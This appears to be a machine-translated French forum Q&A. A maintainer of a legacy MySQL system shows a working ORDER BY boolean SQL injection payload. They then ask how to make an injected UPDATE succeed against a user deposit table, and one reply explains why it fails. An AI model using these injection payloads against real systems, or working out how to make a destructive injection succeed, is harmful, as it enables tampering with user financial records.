mysql - Quelle est la raison de l'erreur SQL?
黄舟
黄舟 2017-05-18 10:47:26
0
1
888

J'ai trouvé une vulnérabilité d'injection SQL basée sur orderBy dans un ancien système qui est en cours de maintenance, et je vais la vérifier,

Je vais d'abord exécuter cette injection SQL, c'est ok

SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (select
case
when
(1=1)
then
1
else
(
select deposit
from sysuser_user_deposit
)end)=1 ASC LIMIT 20 OFFSET 0

Mais lorsque j'exécute ce SQL avec l'instruction update, j'obtiens une erreur :

SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (select
case
when
(1=1)
then
1
else
(
update
sysuser_user_deposit
set
deposit=11)end)=1 ASC LIMIT 20 OFFSET 0

Signaler une erreur

<code>#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'update<br>
sysuser_user_deposit<br>
set<br>
deposit=11)end)=1 ASC LIMIT 20 OFFSET 0' at line 9</code>

Comment dois-je le laisser effectuer la mise à jour ?

黄舟
黄舟

人生最曼妙的风景,竟是内心的淡定与从容!

répondre à tous(1)
淡淡烟草味

Lorsque le corps principal est sélectionné, il ne peut pas être mis à jour, sinon il ne peut pas être exécuté
J'ai essayé ce type d'injection dans mybatis Lors de l'exécution de la mise à jour dans <select>, une erreur sera signalée. directement et l'injection ne peut pas se faire

.
Derniers téléchargements
Plus>
effets Web
Code source du site Web
Matériel du site Web
Modèle frontal